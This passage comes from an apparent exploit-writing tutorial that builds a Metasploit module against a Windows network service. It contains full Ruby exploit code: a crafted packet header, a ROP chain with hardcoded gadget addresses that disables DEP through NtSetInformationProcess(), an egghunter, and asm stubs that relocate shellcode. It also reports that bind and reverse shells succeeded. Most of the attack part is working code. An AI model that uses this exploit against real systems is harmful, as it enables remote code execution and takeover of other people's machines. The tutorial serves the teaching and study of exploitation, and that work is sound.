style=\"color: #8b0000\">\\x7f<\/span>\" * 34                   <span style=\"color: #008000\">#max buffer + max memcpy()<\/span>\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">A<\/span>\" * 32                      <span style=\"color: #008000\">#buffer on stack<\/span>\n\tsploit &lt;&lt; [0x100b257b].pack('V')        <span style=\"color: #008000\"># POP ESP # RETN<\/span>\n\tsploit &lt;&lt; [0x771a22e4].pack('V')        <span style=\"color: #008000\">#pointer in ECX which will be ptr -&gt; ptr -&gt; ptr for call [EAX+58]<\/span>\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">A<\/span>\" * 84                      <span style=\"color: #008000\">#buffer on stack <\/span>\n\tsploit &lt;&lt; rand_text_alpha(target['Max']-sploit.length)\n\n\tconnect\n\tprint_status(\"<span style=\"color: #8b0000\">Sending request. This will take a few seconds...<\/span>\")\n\tsock.put(header + sploit)\n\n\thandler\n\tdisconnect\n\n<span style=\"color: #0000ff\">end<\/span><\/pre>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic8.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"pic8\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic8_thumb.png\" width=\"540\" height=\"376\"><\/a><\/p>\n<p>Looks like were in business.&nbsp; We have a reliable pointer to return to the stack via call [eax+58]. We have a way to return into a bigger part of our payload, and we have a static location to call NtSetInformationProcess() which should allow us to disable DEP for the entire process.<\/p>\n<p>Now its time to craft our ROP chain, but we have 2 'new' issues :<\/p>\n<ul>\n<li>As you can see in the stack dump above, the available space for the rop chain is limited. <\/li>\n<li>On top of that, we still need to find a way to put our shellcode and jump to it after disabling DEP <\/li>\n<\/ul>\n<p>Anyways, let's start with the ROP chain itself.<\/p>\n<p>&nbsp;<\/p>\n<h3>The rop chain<\/h3>\n<p>For more info on crafting a ROP chain, check Peter\u2019s <a href=\"https:\/\/www.corelan.be\/index.php\/2010\/06\/16\/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube\/\">ROP tutorial<\/a><\/p>\n<p>As explained above, the ROP chain needs to set up the arguments for a NtSetInformationProcess() call,&nbsp; so the exploit can execute code from potentially non-executable memory locations (stack, heap) after that.<\/p>\n<p>The parameters to set up on the stack are :<\/p>\n<ul>\n<li>Return address : Value to be generated, indicates where function needs to return to (= location where your shellcode is placed). The pushad will make sure a pointer to our shellcode is placed at the right place on the stack, there's nothing we need to do to make this happen. <\/li>\n<li>NtCurrentProcess() : Static value, set to 0xFFFFFFFF <\/li>\n<li>ProcessExecuteFlags : Static value, set to 0x22 <\/li>\n<li>&amp;ExecuteFlags : Writeable pointer to 0x00000002, we'll use 7c331d24 (!mona find -type bin -s '\\x02\\x00\\x00\\x00' -m mfc71u.dll) <\/li>\n<li>sizeOf(ExecuteFlags) : Static value, set to 0x4 <\/li>\n<\/ul>\n<p>Putting everything together, the ROP chain looks like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><span style=\"color: #0000ff\">def<\/span> exploit\n\n\theader  = \"<span style=\"color: #8b0000\">\\x01\\x00\\x00\\x1e\\x00\\x00\\x00\\x01\\x00\\x00\\x1f\\xf4\\x01\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\xb0\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x40<\/span>\"\n\n\trop_chain =\n\t[\n\t\t0x100b257b,  <span style=\"color: #008000\"># POP ESP # RETN<\/span>\n\t\t0x771a22e4,  <span style=\"color: #008000\"># pointer in ecx -&gt; initial ret to ret to pointer -&gt; beg rop (thank you mona.py)<\/span>\n\t\t0x10047355,  <span style=\"color: #008000\"># Duplicate, readable, RETN<\/span>\n\t\t0x10047355,  <span style=\"color: #008000\"># POP EAX # RETN ** [GenClientU.dll]<\/span>\n\t\t0xffffffde,\n\t\t0x7c3b2c65,  <span style=\"color: #008000\"># NEG EAX # RETN ** [MSVCP71.dll]<\/span>\n\t\t0x1011e33e,  <span style=\"color: #008000\"># XCHG EAX,EDX # RETN<\/span>\n\t\t0x1001ab22,  <span style=\"color: #008000\"># POP ECX # RETN ** [GenClientU.dll]<\/span>\n\t\t0x77dd1404,  <span style=\"color: #008000\"># ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)<\/span>\n\t\t0x100136c0,  <span style=\"color: #008000\"># MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] <\/span>\n\t\t0x1008cfd1,  <span style=\"color: #008000\"># POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]<\/span>\n\t\t0x10080163,  <span style=\"color: #008000\"># POP ESI # RETN -&gt; EDI<\/span>\n\t\t0x41414141,\n\t\t0x41414141,\n\t\t0xffffffff,  <span style=\"color: #008000\"># NtCurrentProcess() (EBX)<\/span>\n\t\t0x7c331d24,  <span style=\"color: #008000\"># ptr to 0x2 -&gt; ECX <\/span>\n\t\t0x10090e3d,  <span style=\"color: #008000\"># XCHG EAX,EBP # RETN ** [GenClientU.dll]<\/span>\n\t\t0x10047355,  <span style=\"color: #008000\"># POP EAX # RETN ** [GenClientU.dll] <\/span>\n\t\t0xfffffffc,\n\t\t0x7c3b2c65,  <span style=\"color: #008000\"># NEG EAX # RETN ** [MSVCP71.dll]<\/span>\n\t\t0x100dda84,  <span style=\"color: #008000\"># PUSHAD # RETN ** [GenClientU.dll]<\/span>\n\t].pack('V*')\n\n\tsploit  = target['Ret'] * 180       <span style=\"color: #008000\">#retn to call + [EAX + 58]<\/span>\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">\\x7f<\/span>\" * 34            <span style=\"color: #008000\">#max buffer + max memcpy()<\/span>\n\tsploit &lt;&lt; \"<font color=\"#8b0000\">B<\/font>\" * 32\n\tsploit &lt;&lt; rop_chain\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">A<\/span>\" * 20            <span style=\"color: #008000\">#buffer on stack<\/span>\n\tsploit &lt;&lt; rand_text_alpha(target['Max']-sploit.length)\n\n\tconnect\n\tprint_status(\"<span style=\"color: #8b0000\">Sending request. This will take a few seconds...<\/span>\")\n\tsock.put(header + sploit)\n\n\thandler\n\tdisconnect\n\n<span style=\"color: #0000ff\">end<\/span><\/pre>\n<p>This code will disable DEP and allow us to execute the code placed after the ROP chain.<\/p>\n<p>A few more words about the rop chain :<\/p>\n<p>The first 2 pointers in the chain are in fact the ones that will lead to executing the chain.&nbsp; The second pointer is the one that will lead to initiating the chain via the call [EAX+58], and the first one is the first gadget (POP ESP \/ RETN).<\/p>\n<p>From our first short analysis It looks like the next 2 pointers (10047355) need to be the same, although it may be possible the first one only needs to be readable. The second one is the one used during the ROP chain, but prior to gaining code execution (ROP) there is some code which will read the 2 pointers. What they are used for is not that important at this stage.<\/p>\n<p>The other pointers are the gadgets that will craft the stack layout and finally call NtSetInformationProcess() before executing code from the stack.<\/p>\n<p>&nbsp;<\/p>\n<h3>Run code...<\/h3>\n<p>Nice, we have now disabled DEP for the entire process, and we can run arbitrary code. As indicated earlier, the available space to execute code after the rop chain is very limited.<\/p>\n<p>We only have a few more bytes left after the rop chain.&nbsp; Luckily, we have 32 bytes at our disposal before the rop chain&nbsp; (filled with \"B\" in the script above)<\/p>\n<p>That's the perfect size for an egghunter. We'll put the egg (tags + payload) somewhere at the bottom of the payload.&nbsp; Since we know the entire original packet was read into the heap, the egghunter should be able to&nbsp; find it, solving the second issue \ud83d\ude42<\/p>\n<p>The problem is we can not run the built in checksum to make sure we find our right tag, so we'll have to make sure the tags are not found anywhere in our stack. A quick and easy solution is using \u201csploit &lt;&lt; \"A\" * 10 #buffer on stack\u201d after the rop chain to ensure that we don\u2019t put our tag (\u201cw00tw00t\u201d) on the stack.<\/p>\n<p>Let\u2019s go ahead and add our egghunter and set a breakpoint at \u201cJMP EDI\u201d (at the end of the egghunter) right before our payload to make sure it finds it correctly. Our new code will look like this<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><span style=\"color: #0000ff\">def<\/span> exploit\n\n    eggoptions =\n    {\n        :eggtag =&gt; 'w00t',\n    }\n\n    hunter, egg = generate_egghunter(payload.encoded, \"\", eggoptions)\n\n    header  = \"<span style=\"color: #8b0000\">\\x01\\x00\\x00\\x1e\\x00\\x00\\x00\\x01\\x00\\x00\\x1f\\xf4\\x01\\x00\\x00\\x00<\/span>\"\n    header &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\xb0\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n    header &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n    header &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x40<\/span>\"\n\n    rop_chain =\n    [\n\t\t0x100b257b,  <span style=\"color: #008000\"># POP ESP # RETN<\/span>\n\t\t0x771a22e4,  <span style=\"color: #008000\"># pointer in ecx -&gt; initial ret to ret to pointer -&gt; beg rop (thank you mona.py)<\/span>\n\t\t0x10047355,  <span style=\"color: #008000\"># Duplicate, readable, RETN<\/span>\n\t\t0x10047355,  <span style=\"color: #008000\"># POP EAX # RETN ** [GenClientU.dll]<\/span>\n\t\t0xffffffde,\n\t\t0x7c3b2c65,  <span style=\"color: #008000\"># NEG EAX # RETN ** [MSVCP71.dll]<\/span>\n\t\t0x1011e33e,  <span style=\"color: #008000\"># XCHG EAX,EDX # RETN<\/span>\n\t\t0x1001ab22,  <span style=\"color: #008000\"># POP ECX # RETN ** [GenClientU.dll]<\/span>\n\t\t0x77dd1404,  <span style=\"color: #008000\"># ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)<\/span>\n\t\t0x100136c0,  <span style=\"color: #008000\"># MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] <\/span>\n\t\t0x1008cfd1,  <span style=\"color: #008000\"># POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]<\/span>\n\t\t0x10080163,  <span style=\"color: #008000\"># POP ESI # RETN -&gt; EDI<\/span>\n\t\t0x41414141,\n\t\t0x41414141,\n\t\t0xffffffff,  <span style=\"color: #008000\"># NtCurrentProcess() (EBX)<\/span>\n\t\t0x7c331d24,  <span style=\"color: #008000\"># ptr to 0x2 -&gt; ECX <\/span>\n\t\t0x10090e3d,  <span style=\"color: #008000\"># XCHG EAX,EBP # RETN ** [GenClientU.dll]<\/span>\n\t\t0x10047355,  <span style=\"color: #008000\"># POP EAX # RETN ** [GenClientU.dll] <\/span>\n\t\t0xfffffffc,\n\t\t0x7c3b2c65,  <span style=\"color: #008000\"># NEG EAX # RETN ** [MSVCP71.dll]<\/span>\n\t\t0x100dda84,  <span style=\"color: #008000\"># PUSHAD # RETN ** [GenClientU.dll]<\/span>\n\t\t0x90908aeb,  <span style=\"color: #008000\"># jmp back to egghunter<\/span>\n    ].pack('V*')\n\n    sploit  = target['Ret'] * 180       <span style=\"color: #008000\">#retn to call + [EAX + 58]<\/span>\n    sploit &lt;&lt; \"<span style=\"color: #8b0000\">\\x7f<\/span>\" * 34            <span style=\"color: #008000\">#max buffer + max memcpy()<\/span>\n    sploit &lt;&lt; hunter            <span style=\"color: #008000\">#egghunter<\/span>\n    sploit &lt;&lt; rop_chain\n    sploit &lt;&lt; \"<span style=\"color: #8b0000\">A<\/span>\" * 20            <span style=\"color: #008000\">#clear out buffer on stack<\/span>\n    sploit &lt;&lt; egg\n    sploit &lt;&lt; rand_text_alpha(target['Max']-sploit.length)\n\n    connect\n    print_status(\"<span style=\"color: #8b0000\">Sending request. This will take a few seconds...<\/span>\")\n    sock.put(header + sploit)\n\n    handler\n    disconnect\n\n<span style=\"color: #0000ff\">end<\/span><\/pre>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic10.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"pic10\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic10_thumb.png\" width=\"566\" height=\"394\"><\/a><\/p>\n<p>If we take a look at EDI we can see our dump points to our shellcode! Time for testing!<\/p>\n<p>&nbsp;<\/p>\n<h2>Shellcode time!<\/h2>\n<h3>Run shellcode<\/h3>\n<p>Finally, time to test &amp; see if the module works.<\/p>\n<p>I usually perform 3 type of tests on a new Metasploit module :<\/p>\n<ul>\n<li>Execute calc or run messagebox (relatively 'safe' shellcode, no network interactions) <\/li>\n<li>Bind shell (normal or reverse) <\/li>\n<li>Meterpreter (which is what we all want, right ? :)) . Let's cross fingers &amp; hope the issue with meterpreter is fixed too by changing the way we call our payload... May be wishful thinking, but never say never. <\/li>\n<\/ul>\n<h4>calc<\/h4>\n<p>works fine<\/p>\n<h4>bind shell<\/h4>\n<p>normal : works fine<\/p>\n<p>reverse : works fine<\/p>\n<h4>meterpreter<\/h4>\n<p>(still keeping fingers crossed at this time)<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image17.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb15.png\" width=\"391\" height=\"262\"><\/a><\/p>\n<p>Meterpreter just hangs in msfconsole, and debugger says this :<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image18.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb16.png\" width=\"386\" height=\"241\"><\/a><\/p>\n<h4>damn ! Meterpreter is still broken.<\/h4>\n<p>After reloading everything &amp; stepping thru the payload, we noticed that stage 1 of the shellcode works fine, but stage 2 dies during execution.<\/p>\n<p>The call stack at crash time looks like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:007&gt; k\nChildEBP RetAddr\n0172ef2c 7c9556d9 ntdll!RtlQueryProcessHeapInformation+0x385\n0172ef88 7c864c5e ntdll!RtlQueryProcessDebugInformation+0x1ee\n0172efac 01837d93 kernel32!Heap32First+0x48\nWARNING: Frame IP <span style=\"color: #0000ff\">not<\/span> <span style=\"color: #0000ff\">in<\/span> any known <span style=\"color: #0000ff\">module<\/span>. Following frames may be wrong.\n0172f874 7c8024c7 &lt;Unloaded_nr.dll&gt;+0x1837d92\n0172f878 00000000 kernel32!ReleaseMutex+0x10<\/pre>\n<p>It looks like something went wrong during a heap related operation.<\/p>\n<p>Hmmm.<\/p>\n<p>We could write some code that would basically upload a meterpreter executable and run it, but that's suboptimal to say the least.&nbsp; We really have to solve the issue in order to deliver a nice and reliable exploit module.<\/p>\n<p>sinn3r suggested to try to use a smaller packet, trying to prevent the heap from being smashed, so that's the first thing we tried.<\/p>\n<p>&nbsp;<\/p>\n<h2>The trials and tribulations<\/h2>\n<h3>Smaller packet<\/h3>\n<p>I tried changing the total length of the packet, but unfortunately it didn't really help. If the payload is too small, we're not gaining control over EIP anymore. With a larger packet, we continue to breaking the heap.<\/p>\n<h3>copy shellcode to stack - memcpy()<\/h3>\n<p>Maybe copying the shellcode to the stack (after it was located in the heap) might work.&nbsp; I wrote a few lines of asm which copies the shellcode (after it was found by the egghunter), copy it onto the stack, and run it.<\/p>\n<p>The modified Metasploit module now looks like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><span style=\"color: #0000ff\">def<\/span> exploit\n\n\tmove_stub_asm = %Q|\n\t\tpush 0x450\n\t\tadd edi,0x1b\n\t\tpush edi\n\t\tpush esp\n\t\tpop ebx\n\t\t<span style=\"color: #00008b\">sub<\/span> ebx, 2000\n\t\tpush ebx\n\t\tpush ebx\n\t\tmov eax,0x10162888\n\t\tpush [eax]\n\t\tret\n\n\t|\n\tmove_stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, move_stub_asm).encode_string\n\n\tthepayload = move_stub &lt;&lt; payload.encoded\n\n\teggoptions =\n\t{\n\t\t:eggtag =&gt; 'w00t',\n\t}\n\n\thunter, egg = generate_egghunter(thepayload, \"\", eggoptions)\n\n\theader  = \"<span style=\"color: #8b0000\">\\x01\\x00\\x00\\x1e\\x00\\x00\\x00\\x01\\x00\\x00\\x1f\\xf4\\x01\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\xb0\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x40<\/span>\"\n\n\trop_chain = [\n\t\t0x100b257b,     <span style=\"color: #008000\"># POP ESP # RETN<\/span>\n\t\t0x771a22e4,     <span style=\"color: #008000\"># pointer in ecx -&gt; initial ret to ret to pointer -&gt; beg rop (thank you mona.py)<\/span>\n\t\t0x10047355,    <span style=\"color: #008000\"># Duplicate, readable, RETN<\/span>\n\t\t0x10047355,    <span style=\"color: #008000\"># POP EAX # RETN ** [GenClientU.dll] <\/span>\n\t\t0xffffffde,\n\t\t0x7c3b2c65,    <span style=\"color: #008000\"># NEG EAX # RETN ** [MSVCP71.dll]<\/span>\n\t\t0x1011e33e,    <span style=\"color: #008000\"># XCHG EAX,EDX # RETN<\/span>\n\t\t0x1001ab22,    <span style=\"color: #008000\"># POP ECX # RETN ** [GenClientU.dll]<\/span>\n\t\t0x77dd1404,    <span style=\"color: #008000\"># ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)<\/span>\n\t\t0x100136c0,    <span style=\"color: #008000\"># MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] <\/span>\n\t\t0x1008cfd1,    <span style=\"color: #008000\"># POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]<\/span>\n\t\t0x10080163,    <span style=\"color: #008000\"># POP ESI # RETN -&gt; EDI<\/span>\n\t\t0x41414141,\n\t\t0x41414141,\n\t\t0xffffffff,    <span style=\"color: #008000\"># NtCurrentProcess() (EBX)<\/span>\n\t\t0x7c331d24,    <span style=\"color: #008000\"># ptr to 0x2 -&gt; ECX <\/span>\n\t\t0x10090e3d,    <span style=\"color: #008000\"># XCHG EAX,EBP # RETN ** [GenClientU.dll]<\/span>\n\t\t0x10047355,    <span style=\"color: #008000\"># POP EAX # RETN ** [GenClientU.dll] <\/span>\n\t\t0xfffffffc,\n\t\t0x7c3b2c65,    <span style=\"color: #008000\"># NEG EAX # RETN ** [MSVCP71.dll]<\/span>\n\t\t0x100dda84,    <span style=\"color: #008000\"># PUSHAD # RETN ** [GenClientU.dll]<\/span>\n\t\t0x90908aeb,     <span style=\"color: #008000\"># go to egghunter<\/span>\n\t].pack('V*')\n\n\tsploit  = target['Ret'] * 180\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">\\x7f<\/span>\" * 34    <span style=\"color: #008000\">#max buffer + max memcpy()<\/span>\n\tsploit &lt;&lt; hunter    <span style=\"color: #008000\">#32 byte hunter, no room for checksum<\/span>\n\tsploit &lt;&lt; rop_chain\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">\\x41<\/span>\" * 20            <span style=\"color: #008000\">#clear out rest of the stack <\/span>\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">\\x40<\/span>\" * 8            <span style=\"color: #008000\">#nops<\/span>\n\tsploit &lt;&lt; egg\n\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">B<\/span>\" * (target['Max']-sploit.length)\n\n\tconnect\n\tprint_status(\"<span style=\"color: #8b0000\">Sending request...<\/span>\")\n\tsock.put(header + sploit)\n\t<span style=\"color: #00008b\">select<\/span>(<span style=\"color: #0000ff\">nil<\/span>,<span style=\"color: #0000ff\">nil<\/span>,<span style=\"color: #0000ff\">nil<\/span>,15)                  <span style=\"color: #008000\">#increase timeout for egghunter plus virtualalloc() + memcpy()<\/span>\n\thandler\n\tdisconnect\n\n<span style=\"color: #0000ff\">end<\/span><\/pre>\n<p>Unfortunately that didn't work either.<\/p>\n<p>&nbsp;<\/p>\n<h3>put shellcode in a new heap - virtualalloc() + memcpy()<\/h3>\n<p>Perhaps we have to create a new heap (using virtualalloc(), copy the shellcode to the new heap, and run it).&nbsp;&nbsp; I inserted a new asm block which allocates some RWX memory, copies the shellcode and runs it.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><span style=\"color: #0000ff\">def<\/span> exploit\n\n\tmove_stub_asm = %Q|\n\t\tmov eax,0x77dd121c\n\t\tpush 0x40\n\t\tpush 0x1000\n\t\tpush 0x1000\n\t\tpush 0\n\t\tcall [eax]\n\n\t\tpush 0x450\n\t\tadd edi,0x28\n\t\tpush edi\n\t\tpush eax\n\t\tpush eax\n\t\tmov eax,0x10162888\n\t\tpush [eax]\n\t\tret\n\n\t|\n\tmove_stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, move_stub_asm).encode_string\n\n\tthepayload = move_stub &lt;&lt; payload.encoded\n\n\teggoptions =\n\t{\n\t\t:eggtag =&gt; 'w00t',\n\t}\n\n\thunter, egg = generate_egghunter(thepayload, \"\", eggoptions)\n\n\theader  = \"<span style=\"color: #8b0000\">\\x01\\x00\\x00\\x1e\\x00\\x00\\x00\\x01\\x00\\x00\\x1f\\xf4\\x01\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\xb0\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x40<\/span>\"\n\n\trop_chain = [\n\t\t0x100b257b,     <span style=\"color: #008000\"># POP ESP # RETN<\/span>\n\t\t0x771a22e4,     <span style=\"color: #008000\"># pointer in ecx -&gt; initial ret to ret to pointer -&gt; beg rop (thank you mona.py)<\/span>\n\t\t0x10047355,    <span style=\"color: #008000\"># Duplicate, readable, RETN<\/span>\n\t\t0x10047355,    <span style=\"color: #008000\"># POP EAX # RETN ** [GenClientU.dll] <\/span>\n\t\t0xffffffde,\n\t\t0x7c3b2c65,    <span style=\"color: #008000\"># NEG EAX # RETN ** [MSVCP71.dll]<\/span>\n\t\t0x1011e33e,    <span style=\"color: #008000\"># XCHG EAX,EDX # RETN<\/span>\n\t\t0x1001ab22,    <span style=\"color: #008000\"># POP ECX # RETN ** [GenClientU.dll]<\/span>\n\t\t0x77dd1404,    <span style=\"color: #008000\"># ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)<\/span>\n\t\t0x100136c0,    <span style=\"color: #008000\"># MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] <\/span>\n\t\t0x1008cfd1,    <span style=\"color: #008000\"># POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]<\/span>\n\t\t0x10080163,    <span style=\"color: #008000\"># POP ESI # RETN -&gt; EDI<\/span>\n\t\t0x41414141,\n\t\t0x41414141,\n\t\t0xffffffff,    <span style=\"color: #008000\"># NtCurrentProcess() (EBX)<\/span>\n\t\t0x7c331d24,    <span style=\"color: #008000\"># ptr to 0x2 -&gt; ECX <\/span>\n\t\t0x10090e3d,    <span style=\"color: #008000\"># XCHG EAX,EBP # RETN ** [GenClientU.dll]<\/span>\n\t\t0x10047355,    <span style=\"color: #008000\"># POP EAX # RETN ** [GenClientU.dll] <\/span>\n\t\t0xfffffffc,\n\t\t0x7c3b2c65,    <span style=\"color: #008000\"># NEG EAX # RETN ** [MSVCP71.dll]<\/span>\n\t\t0x100dda84,    <span style=\"color: #008000\"># PUSHAD # RETN ** [GenClientU.dll]<\/span>\n\t\t0x90908aeb,     <span style=\"color: #008000\"># go to egghunter<\/span>\n\t].pack('V*')\n\n\tsploit  = target['Ret'] * 180\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">\\x7f<\/span>\" * 34    <span style=\"color: #008000\">#max buffer + max memcpy()<\/span>\n\tsploit &lt;&lt; hunter            <span style=\"color: #008000\">#32 byte hunter, no room for checksum<\/span>\n\tsploit &lt;&lt; rop_chain\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">\\x41<\/span>\" * 20            <span style=\"color: #008000\">#clear out rest of the stack <\/span>\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">\\x40<\/span>\" * 8            <span style=\"color: #008000\">#nops<\/span>\n\tsploit &lt;&lt; egg\n\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">B<\/span>\" * (target['Max']-sploit.length)\n\n\tconnect\n\tprint_status(\"<span style=\"color: #8b0000\">Sending request...<\/span>\")\n\tsock.put(header + sploit)\n\t<span style=\"color: #00008b\">select<\/span>(<span style=\"color: #0000ff\">nil<\/span>,<span style=\"color: #0000ff\">nil<\/span>,<span style=\"color: #0000ff\">nil<\/span>,15)                  <span style=\"color: #008000\">#increase timeout for egghunter plus virtualalloc() + memcpy()<\/span>\n\thandler\n\tdisconnect\n\n<span style=\"color: #0000ff\">end<\/span><\/pre>\n<p>Still no go.<\/p>\n<p>&nbsp;<\/p>\n<h3>Fix heap - HeapCreate()<\/h3>\n<p>All previous attempts to make meterpreter work have failed.<\/p>\n<p>At this point, Peter jumped in again. He spoke with HDM who suggested trying to fix the default heap.<\/p>\n<p>The easiest way to do this is by creating a fresh new heap (HeapCreate()) and to replace a pointer in the PEB (which indicates the baseaddress of the default process heap) with the baseaddress of the new heap.<\/p>\n<p>The pointer to the PEB is located at TIB+0x30. We can access this value using fs:[0x30].&nbsp;&nbsp; At offset 0x18 in the PEB, we find the pointer to pointer to the default heap.<\/p>\n<p>A basic example of asm code to do this would look like this. We obviously need to find a static\/reliable pointer to kernel32.HeapCreate(), but since we were still \"trying\", we decided to just hardcode the pointer for now.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">mov eax,0x12345678\t; put pointer to Kernel32.HeapCreate() in eax\npush 0x2000\t\t; set up arguments\npush 0x1000\npush 0x40000\ncall eax\t\t; call HeapCreate()\n\nmov ebx,[fs:0x30]\t; peb\nadd ebx,0x18\t\t; default process heap in peb\nmov [ebx],eax\t\t; replace default process heap<\/pre>\n<p>Unfortunately, this technique didn't work either, so we didn't even have to figure out a way to get a reliable pointer to HeapCreate() (which would be trivial really - we could simply write some shellcode to get the base of kernel32 and then locate the pointer to the HeapCreate function()... - anyways, no need, doesn't work)<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2>ASM time!<\/h2>\n<p>At this point, 